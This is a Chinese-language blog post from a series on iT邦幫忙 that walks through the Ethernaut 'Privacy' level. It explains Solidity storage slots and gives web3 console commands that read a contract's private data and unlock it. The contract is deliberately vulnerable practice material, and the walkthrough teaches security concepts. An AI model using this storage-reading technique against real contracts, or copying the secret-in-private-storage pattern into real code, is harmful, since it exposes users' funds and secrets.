iT邦幫忙

2022 iThome 鐵人賽

DAY 13
0

(Privacy)倒楣鬼程式碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

通關條件

玩家必須將合約解鎖(將 locked 改為 false)

先備知識 - Solidity Storage Work(slot)

雖然在 Day 11 我們曾初步討論了 Solidity 的 slot,相信大家或多或少是有印象的,不過倒也無妨,在第 12 關 Privacy 裡我們再來看一遍吧。

區塊鏈上所有的資料都是公開的,即使將智能合約上的變數設定為 Private 也一樣能輕鬆的挖出其所含的值,而查找方法便是查詢智能合約裡的 slot;每個 slot 為 32bytes,而每份智能合約中最多能夠使用 2^256 個 slot,而在智能合約中宣告的變數會直接儲存到 slot 上,依照每個變數所使用的 bytes 數完整的排列在 slot 上,舉個例子

uint8 a;
uint8 b;
uint256 c;
uint8 d;

變數 a、b 因為並未超過 slot[0] 的大小限制,因此 a b 將會被儲存至 slot[0],而 slot[0] 內所剩餘的 bytes 並無法容納變數 c,因此變數 c 將被儲存至 slot[1] 並填滿,而變數 d 將被儲存至 slot[2]。

值得一提的是,slot 的使用多寡將會直接影響智能合約所消耗的 gas,因此若是將程式碼改為

uint8 a;
uint8 b;
uint8 d;
uint256 c;

便能降低 gas 的消耗。

而如何查看 slot 呢 ? 可以使用 web console 的指令來查看

web3.eth.getStorageAt(contract address, slot_index)

程式碼

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

那麼也和第8關一樣,來一起算算 slot 吧

addr = await contract.address
await web3.eth.getStorageAt(addr, 0).then(v => v.toString())
// '0x0000000000000000000000000000000000000000000000000000000000000001'

可以看到,第一個變數 locked 占用一個 bit,儲存在 slot[0],而由於 uint256 將會獨自占用一整個 slot,所以可想而知,slot[1] 為存放變數 ID 的 slot

addr = await contract.address
await web3.eth.getStorageAt(addr, 1).then(v => v.toString())
// '0x0000000000000000000000000000000000000000000000000000000062f94939'

接著呢是 3 個 uint,分別為 8、8、16,放置在一起也不會超過 slot 的大小,由此可知,slot[2] 存放的是變數 flattening、denomination、awkwardness

addr = await contract.address
await web3.eth.getStorageAt(addr, 2).then(v => v.toString())
// '0x000000000000000000000000000000000000000000000000000000004939ff0a'

註 :
0a 為 16 進位的 10
ff 為 16 進位的 255
4939 則為 awkwardness 變數內值

最後則是三個 bytes32,依序被儲存至 slot[3] slot[4] slot[5],可以依序查看

addr = await contract.address
await web3.eth.getStorageAt(addr, 3).then(v => v.toString())
// '0xc21f726e9f3dfa8f5f792cc02cf7fc2e21748193836679c4400b775a6b6c3c93'
addr = await contract.address
await web3.eth.getStorageAt(addr, 4).then(v => v.toString())
// '0x1cc5cc24454501831a6781978b2ff95eeceaf363e067989a74fb5d56991ae923'
addr = await contract.address
await web3.eth.getStorageAt(addr, 5).then(v => v.toString())
// '0xc267aea7f653fccc5d6f1373768685d968f07ec9385ac3baa00a5f22b06cef43'

那麼希望大家都學會了如何計算 slot,接著就進入通關的部分 :D

通關

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

可以看到,只要我們將 data[2] 取出便能通關,而 data[2] 就儲存於 slot[5]

addr = await contract.address
await web3.eth.getStorageAt(addr, 5).then(v => v.toString())
// '0xc267aea7f653fccc5d6f1373768685d968f07ec9385ac3baa00a5f22b06cef43'

而 key 就是前半的 0xc267aea7f653fccc5d6f1373768685d9

key = await web3.eth.getStorageAt(addr, 5).then(v => v.slice(0, 34))
await contract.unlock(key)

把 key 送進去就可以通關囉~


⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣


上一篇
Day14 - TheDAOHack
下一篇
Day 19 - Naught coin
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言